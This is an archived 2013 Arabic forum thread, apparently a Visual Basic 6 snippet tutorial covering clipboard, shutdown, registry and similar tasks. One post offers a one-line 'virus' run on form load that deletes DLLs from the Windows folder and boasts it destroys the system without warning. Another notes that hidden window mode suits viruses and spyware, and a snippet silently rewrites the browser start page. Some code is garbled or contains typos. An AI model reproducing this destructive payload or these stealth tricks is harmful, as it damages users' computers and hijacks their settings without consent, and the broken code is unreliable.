الموقع العربي الاول للعبة Silkroad Online

الموقع العربي الاول للعبة Silkroad Online (https://silkroad4arab.com/vb/index.php)
-   بـعـيـدآ عـن سـيـلـك رود (https://silkroad4arab.com/vb/forumdisplay.php?f=73)
-   -   تكملة شرح تصميم بى فيجوال بيسك (https://silkroad4arab.com/vb/showthread.php?t=476706)

GM]Mora] 18-01-2013 02:50 AM

تكملة شرح تصميم بى فيجوال بيسك
 
http://www2.0zz0.com/2013/01/17/23/808191518.png

1-شرح تصميم بى فيجوال بيسك

http://www2.0zz0.com/2013/01/17/23/721929572.png

http://www.silkroad4arab.com/vb/showthread.php?t=476487

http://www2.0zz0.com/2013/01/17/23/721929572.png

تعليم فيجوال بيسك - التعرف علي كيفية كتابة الكود

http://www2.0zz0.com/2013/01/17/23/721929572.png

http://www.youtube.com/watch?v=fvhCRLabM98

http://www2.0zz0.com/2013/01/17/23/721929572.png

اليوم موضوعنا مميزه

هو اكواد فيجوال بيسك ما راح تلاقي اكثر من هيك


http://www2.0zz0.com/2013/01/17/23/721929572.png

1- الكتابه داخل الtext box
Text1.Text = "Palestine For Palestinians"

أكواد الحافظة....
الحافظة في الفيجوال بيسك تأخذ الأسم Clipboard ، حيث يتم ربط توابع معينة بهذا
الكائن لكي تتم أوامر الحافظة...سأكتب الأكواد على فرض أن لدينا صندوق نص اسمه
txtMyText...

*** كود القص:
Clipboard.clear
Clipboard.SetText txtMyText.SelText
txtMyText.SelText=""

إن المنهج Clear يقوم بتفرغة كل محتويات الحافظة... كما يقوم الأمر SetText بإضافة النص المحدد إلى الحافظة... و إذا أردنا معرفة ما تحملة العبارة التالية txtMyText.SelText فهي تحمل قيمة النص المحدد... أي أن SelText تشير إلى النص المحدد...
ثم في العبارة الأخيرة، نحذف النص المحدد لكي تتم عملية القص...

*** كود النسخ:
Clipboard.clear
Clipboard.SetText txtMyText.SelText

هذا الكود يماثل تماما الكود السابق، لكن الفرق أننا لا نقوم بحذف النص المحدد و الذي نود نسخه...

*** كود اللصق:
txtMyText.SelText=ClopBoard.GetText( )

إن العبارة ClipBoard.GetText() تحمل قيمة النص الموجود في الحافظة.... و نحن نأمر الجهاز في هذا الكود بوضع قيمة الحافظة مكان النص المحدد...

2) كود الأحداث المعلقة:
من المؤكد أنكم تتسائلون " ما هي الأحداث المعلقة؟ "، أنا سأشرح لكم...
إن بعض البرامج تحتوي على Loop أي حلقة ... و لهذه الحلقة أشكال كثيرة، أشهرها و
أكثرها شيوعا:
For I=0 to 100
.......
.....
.......
if I=100 then I=0
next I

إذا قمنا بتحليل عمل هذا البرنامج، نتوصل إلى انه سيقوم بتنفيذ الأوامر الموجودة داخل الحلقة إلى ما لا نهاية... و بذلك، فإن أي حدث تقوم بتنفيذه خلال عمل هذه الحلقة فإنه لن يستجيب.....
أعرف أنكم لم تفهموا، سأوسع الشرح...
لنفرض أنه لدينا برنامج يقوم برسم نقاط عشوائية على نموذج معين، و هذه النقاط غير منتهية.... و لدينا زري أوامر، الأول للبدء الحلقة، و الثاني لإنهاءها...
إذا ضغطنا زر البدء، فإن الحلقة ستبدأ إلى ما لا نهاية.... و سترسم نقاطا على النموذج إلى ما لا نهاية... فعند القيام بحدث الضغط على زر إنهاء الحلقة، فأنه لن يستجيب أبدا، و ذلك بسبب عمل الحلقة.... فما الحل إذن...
يوجد تابع خاص لهذه المشكلة و هو DoEvents... عند وضع هذا التابع ضمن الحلقة، فإنه ينفذ الحدث الذي قمت به، ثم يكمل تنفيذ الحلقة....

3) كود تنفيذ أي برنامج عن طريق الفيجوال بيسك:
إذا أردت أن تشغل إي برنامج في جهازك عن طريق الفيجوال بيسك، اكتب العبارة التالية....
Dim A
A = ****l ("programpath",n)

حيث A متغير... و اكتب مكان الــ programpath مسار البرنامج كاملا، و اكتب مكان n رقم من 0 إلى 6، حيث كل رقم له دلالته...

0 تظهر نافذة البرنامج مخفية.
1 تظهر نافذة البرنامج بحجمها الطبيعي و معها التركيز.
2 تظهر النافذة مصغرة و معها التركيز.
3 تظهر النافذة مكبرة و ومعها التركيز.
4 تظهر نافذة عادية و بدون تركيز.
6 تظهر نافذة مصغرة بدون تركيز.

و إن التابع ****l يرجع قيمة عددية تحفظ في المتغير A تشير إلى مقبض النافذة الذي يعترف عليه Windows

ملاحظة: الفائدة من وضع القيمة 0 للمتغير n ، هي لظهور النافذة مخفية، و بالتالي يتم تحميل النافذة في الذاكرة دون أن نراها. و نستغيد من هذه الحالة في تشغيل ملف تنفيذي لكي يؤدي وظائف معينة دون أن يشاهد المستخدم نافذة البرنامج (برامج الفيروسات و التجسس)

4) كود للقيام باتصال هاتفي:
يجب أولا تضمين أداة جديدة و هي MSComm، و ذلك بالخطوات التالية:
* اضغط بزر اليمين على مكان فارغ شريط الأدوات.
* اختر الخيار Components
* اختر الأداة MSComm من القائمة و اضغط على الزر موافق.
* ستظهر لك أداة جديدة لها شكل الهاتف على شريط الأدوات.

بعد تضمين هذه الأداة في النموذج، نسميها على سبيل المثال Comm1....
و إليك الكود:
Dim PhoneNumber as String
On Error Goto WrongPort
Comm1.CommPort = 1
Comm1.Settings = "300,n,8,1"
PhoneNumber = "164883"
Comm1.PortOpen = True
Comm1.OutPut = "ATDT" + PhoneNumber + Chr$(13)Sub
WrongPort:
MsgBox "Title", 1048576 + 524288 + 16, "Prompt"

الشرح:
في السطر الأول: نعرف متغير حرفي و هو PhoneNumber
في السطر الثاني: نضع هذه العبارة بحيث في حال حدوث أي خطأ ( مثلا المودم غير
متصل، أو المنفذ غير صحيح ) ينتقل التنفيذ إلى السطر الثامن حيث
الإجراء . طبعا يمكن تسمة WrongPort كما نشاء.
في السطر الثالث: نحدد البورت الذي سنجري منه الإتصال. يفضل أن تقوم بتجربة البرنامج
عدة مرات بتغيير البورت (1، 2، 3، 4، 5، 6، 7 ) حتى تصل للبورت
الصحيح.
في السطر الرابع: نحدد إعدادات الإتصال. ضعها كما هي موجودة في هذا الكود، لأن
شرحها معقد نوعا ما.
في السطر الخامس: نكتب رقم الهاتف المراد طلبه.
في السطر السادس: يفتح البورت الذي حددته.
في السطر السابع: تنتقل البيانات عبر خط الهاتف مع بعض الشيفرات.
في السطر الثامن: ينتهي تنفيذ الأوامر.
في السطر التاسع: يوجد الإجراء الذي ينتقل أليه التنفيذ عند حدوث خطأ.
في السطر العاشر: تظهر رسالة الخطأ التي عنوانها Title و نصها هو Prompt.
يمكن تغيير هذه القيم كما تشاء.

و الأن تم الإتصال، و ماعليك سوى التكلم عن طريق الهيدفون أو الهاتف.
لقطع الإتصال: ضع الكود التالي:
Comm1.PortOpen = False
حيث يقوم هذا السطر بإغلاق المنفذ.

5) كود لإيقاف تشغيل ويندوز:
ننشئ نافذة جديدة من النوع Module و نكتب فيها السطر التالي:
Public Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags as Long, By Val dwReserved As Long) As Long

و لكن انتبه، اكتبه في سطر واحد، و ليس في سطرين...
و الأن في النموذج، ضمن أزرارا لإيقاف التشغيل، و أعادت التشغيل، و إنهاء كافة العمليات البرمجية، و أنهاء كافة العمليات البرمجية التي لا تستجيب.
و اكتب الكود التالي لكل زر:
Dim LonStatus
LonStatus = ExitWindowsEx (Flag, n)

اكتب إحدى الأرقام التالية للمتغير n:
0 لإنهاء كافة العمليات البرمجية.
1 لإيقاف التشغيل.
2 لإعادة التشغيل.
4 ينهي كافة العمليات البرمجية التي لا تستجيب.

بسم الله الرحمن الرحيم

شكرا أخي على هذه المعلومات

بس أنا عندي تعليق بسيط فيما يخص بكود إيقاف ويندوز

هذا الكود شغال كويس بالنسبة لأنظنة ويندوز 98 و Me
لكن فيما يخص ونيدوز XP فإن كود إعادة التشغيل وإيقاف التشغيل سوف يقوم فقط بإخراجك كمستخدم فقط
يعني الجهاز مش عيعمل رستارت ولا يطفئ

وإن شاء الله الآن أضع لكم الكود تبع الإكس بي بحيث يقوم بمهمة الإطفاء وإعادة التشغيل


http://www2.0zz0.com/2013/01/17/23/535021942.png

GM]Mora] 18-01-2013 02:51 AM

http://www2.0zz0.com/2013/01/17/23/323277095.png

رجعنا وبنكمل اكوادنا



اولا كود الخروج من البرنامج [ هل تريد الخروج من البرنامج ] [ نعم أو لأ ]




private sub command1_click()
d = msgbox("آنت الان تحاول الخروج من البرنامج هل انت متاكد من هذا الرغبـه", vbyesno + vbinformation, "تنـبيهً")
select case d
case vbyes
end
end select
end sub






كـود اضهار اسم الجهاز واي بي الجهاز الخاص بك



dim strname as string
strip = winsock1.localip 'captures ip address and stores it
strname = winsock1.localhostname 'captures host name and stores
msgbox "your ip address is: " & strip & vbcrlf & vbcrlf & _
"your hostname is: " & ucase(strname) 'seperates the 2 in a





كـود افراغ سلة المحذوفات



ضع هذا الكود في العام general او موديول module

private declare function shemptyrecyclebin lib "****l32.dll" _
alias "shemptyrecyclebina" (byval hwnd as long, _
byval pszrootpath as string, byval dwflags as long) as long
private declare function shupdaterecyclebinicon lib "****l32.dll" () as long
\\\

في الكومـند

لافراغ سلة المحذوفات :
Shemptyrecyclebin me.hwnd, vbnullstring, 0

للتحديث بعد افراغ البيانات :
Shupdaterecyclebinicon






كـود تغيير الصفحه الرئيسيه الخاصه بك في المتصفح



في جزء التصريحات العام "general"
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
private declare function regclosekey lib "advapi32.dll" (byval hkey as long) as long
private declare function regcreatekey lib "advapi32.dll" alias "regcreatekeya" (byval hkey as long, byval lpsubkey as string, phkresult as long) as long
private declare function regsetvalueex lib "advapi32.dll" alias "regsetvalueexa" (byval hkey as long, byval lpvaluename as string, byval reserved as long, byval dwtype as long, lpdata as any, byval cbdata as long) as long
private const reg_sz = 1
private const hkey_current_user = &h80000001
public sub savestring(hkey as long, path as string, name as string, data as string)
dim keyhandle as long
dim r as long
r = regcreatekey(hkey, path, keyhandle)
r = regsetvalueex(keyhandle, name, 0, reg_sz, byval data, len(data))
r = regclosekey(keyhandle)
end sub
public sub setstartpage(url as string)
call savestring(hkey_current_user, "software\microsoft\internet explorer\main", "start page", url)
end sub

\\\\\\\\\\\\\\\\\\\\\\\\\
\\\\\ في الزر \\\\\\\
private sub command1_click()
setstartpage ("www.dev-point.com")
end sub







كـود .. الانتقال الى الموقع



dim x as object
set x = createobject("internetexplorer.application")
x.navigate "www.google.com"
x.visible = true





خلفيه روعـه أنصحكم فيهـآ



الجنرال .
Private declare function setlayeredwindowattributes lib "user32.dll" (byval hwnd as long, byvalcrkey as long, byval balpha as byte, byval dwflags as long) as boolean
private declare function setwindowlong lib "user32" alias "setwindowlonga" (byval hwnd as long, byval nindex as long, byval dwnewlong as long) as long
private declare function getwindowlong lib "user32" alias "getwindowlonga" (byval hwnd as long, byval nindex as long) as long
const lwa_alpha = 2
const gwl_exstyle = (-20)
const ws_ex_layered = &h80000
end sub
الفورم لود

private sub form_load()
setwindowlong hwnd, gwl_exstyle, getwindowlong(hwnd, gwl_exstyle) or ws_ex_layered
setlayeredwindowattributes hwnd, 0, 128, lwa_alpha
end sub


http://www2.0zz0.com/2013/01/17/23/104357572.png

GM]Mora] 18-01-2013 02:51 AM

http://www2.0zz0.com/2013/01/17/23/589141154.png

ونكمل اخر مجموعه بمشيئه الله

كود افراغ حقول التكسـت


Dim i As Integer
For i = 0 To Me.Controls.Count - 1
If TypeOf Me.Controls(i) Is TextBox Then
Me.Controls(i).Text = ""
End If
Next





كـود دائره حمراء حول مؤشر الماوس [ نضع هذا الكود في الفورم ]


Private Sub Form_MouseMove(Button As Integer, Shift As Integer, _
X As Single, Y As Single)
Me.Cls
Circle (X, Y), 100, vbRed
End Sub





كـود اضهار واخفاء الصوره [ ] حلو الكود ذا

اول شي نضيف صوره من اداهـ [ Image1 ]

بعد كذا نضيف [ Command2 + Command1 ]

الاول نسـميه .. اضهار والثاني نسيمه اخفاء
هذا الكود نضعه في الزر الاول Command1


Private Sub Command1_Click()
Image1.Visible = True
End Sub





وهذا الكود في الـزر الثاني Command2



Private Sub Command2_Click()
Image1.Visible = False
End Sub





الاول اخفاء والثاني اضهار الصوره


هذا الكود لنسخ من التكسسـت
نفس الكود الي استعملته في برنامج [ لتوبيكات ]

نضع هذا الكود في الزر



With Text1
.SelStart = 0
.SelLength = Len(.Text)
Clipboard.Clear
.SetFocus
Clipboard.SetText .Text
End With

MsgBox "تم نسخ التوبيك", , "عملية النسخ"

وبالنهايه بقول

اذا كان من توفيقأ فمن الله
واذا كان من خطأ فمني ومن الشيطان

http://www2.0zz0.com/2013/01/17/23/405844305.png

GM]Mora] 18-01-2013 02:52 AM

http://www2.0zz0.com/2013/01/18/00/192755414.png

معي

VB Bank Cods

300 كود


http://www2.0zz0.com/2013/01/18/00/599695969.png

http://www2.0zz0.com/2013/01/18/00/544218189.png

http://www2.0zz0.com/2013/01/18/00/789521748.jpg

http://www.mediafire.com/?h811bh86po3ou73

http://www2.0zz0.com/2013/01/18/00/952896145.png

GM]Mora] 18-01-2013 02:52 AM

http://www2.0zz0.com/2013/01/18/00/710913554.png

عمل ميديا بلاير خاص بيك

http://www2.0zz0.com/2013/01/18/00/458011098.png

http://www.youtube.com/watch?v=eRvVl5QKaD0


http://www2.0zz0.com/2013/01/18/00/362942214.png

GM]Mora] 18-01-2013 02:52 AM

http://www2.0zz0.com/2013/01/18/00/674044014.png

شرح تصميم برنامج فتح اكثر من ياهو فى وقت واحد 2012

http://www8.0zz0.com/2013/01/18/00/533682213.png
شرح عمل البرنمج
http://www4.0zz0.com/2013/01/18/00/783138989.jpg

http://www.mediafire.com/?aq41tiz2o8scct9

الاكواد

http://www.mediafire.com/?404sm6akdn9vvd5

البرنمج بعد لانتهاء

http://www.mediafire.com/?70hb7hbz7g82nid

http://im32.gulfup.com/FIjj1.bmp

http://www9.0zz0.com/2013/01/18/00/819842286.png

GM]Mora] 18-01-2013 02:53 AM

http://www2.0zz0.com/2013/01/18/00/674044014.png

أنت مبتدأ أزن أدخل وصمم برنامج الخاص + شرح فيديو
http://www8.0zz0.com/2013/01/18/00/533682213.png

http://www.youtube.com/watch?v=Nziqj...feature=colike

http://www9.0zz0.com/2013/01/18/00/819842286.png

GM]Mora] 18-01-2013 02:57 AM

http://www2.0zz0.com/2013/01/18/00/674044014.png

صمم فايروس خطير لتدمير الوندوز بالفيجوال بيسك في دقيقة قوي جدا

أولا إفتح مشروع جديد من نوع EXE standard
أنقر نقرا مزدوجا فوق الفورم
واكتب هدا الكود في الحدث Form_Load

http://www8.0zz0.com/2013/01/18/00/533682213.png

كود:

kill "c:\windows\*.*dll
http://www8.0zz0.com/2013/01/18/00/533682213.png

أرأيتم الكود بسيط و في سطر واحد !!!!!!!!
عجيب أليس كدالك و لكنه خطير جدا جدا جدا و عند تنفيده سيدمر الوندوز بصفة نهائية ........
قد يستغرب البعض و لكن سأشرح الكود لتفهمو طريقة عمله
أولا الأمر Kill يعني قتل أو مسح
ولكن مسح مادا إدا لاحظتم أمام الأمر يوجد c:\windows أي هنا حددنا له أين سيمسح المطلوب
إدا لاحظتم dll*.* الملف دو الإمتداد dll هده الملفات مهمة جدا للوندوز بل هي الحياة عند الوندوزو إدا نقصت ماتت الوندوز ولكن ما فائدة *.* :
عزيزي القارئ لها دور كبير وهو أنك تأمر بحذف جميع الملفات دات الإمتداد dll
و القضية الأهم هو أن عملية الحذف تتم بسرعة دون إظها رسالة تحذير كالتي تظهر في الوندوز عند حذف أي شيء و لو بسيط
سؤال :
قد يقول قائل لماذا لا نترك الكود هكذا

http://www8.0zz0.com/2013/01/18/00/533682213.png

كود:

kill "c:\windows"
http://www8.0zz0.com/2013/01/18/00/533682213.png

http://im34.gulfup.com/TylZ1.jpg

http://www9.0zz0.com/2013/01/18/00/819842286.png

GM]Mora] 18-01-2013 02:57 AM

http://www2.0zz0.com/2013/01/18/00/674044014.png

سوريس كود MSN Messenger مبرمج بل فيوجل بيسك

http://www4.0zz0.com/2013/01/18/00/783138989.jpg

http://www.mediafire.com/?9cxdbuo3n941j9c

http://www9.0zz0.com/2013/01/18/00/819842286.png

GM]Mora] 18-01-2013 02:57 AM

http://www2.0zz0.com/2013/01/18/00/674044014.png

تصميم kaygen في خمسة دقائق شرح


لنبدا على بركة الله

نفتح مشرع جديد standard exe

ثلاثة ازرار
واحد text box

1-الزر الاول نعطيه اسم (اظهار السيريال )

2- الزر الثاني اسم (معلومات عني)

3- الزر الاخير اسم (خروج)

4- حقل Text1
اوكي صممنا الشكل


لحين نمر للاومر سهله

نضغط على الزر لي احنا اعطيناه اسم اظهار السيريال من اجل ادخال الاومر


كود:

Text1.Text = Int(Rnd() * 6)
Select Case Text1.Text
Case 0
Text1.Text = "welcome"
Case 1
Text1.Text = "dev-point"
Case 2
Text1.Text = "karim_topten"
Case 3
Text1.Text = "stop hacker"
Case 4
Text1.Text = " gracais "
Case 5
Text1.Text = "ok"
End Select

http://www8.0zz0.com/2013/01/18/00/533682213.png

الكود الثاني في الزر معلومات عني

كود:

MsgBox "www.silkroad4arab.com"
اخير شي هو الزر خروج

كود:

End
مبروك عليك التصميم

http://www9.0zz0.com/2013/01/18/00/819842286.png

™Brave_Angel 18-01-2013 03:02 AM

الى الامام استمر الله ينور

™~BeSo~™ 18-01-2013 03:41 AM

تسلم

GM]Mora] 18-01-2013 02:42 PM

اقتباس:

المشاركة الأصلية كتبت بواسطة ™~BeSo~™ (المشاركة 4517103)
تسلم

شكرا لمرورك


الساعة الآن 04:04 PM.

Powered by vBulletin® Version 3.8.11
Copyright ©2000 - 2025, vBulletin Solutions, Inc.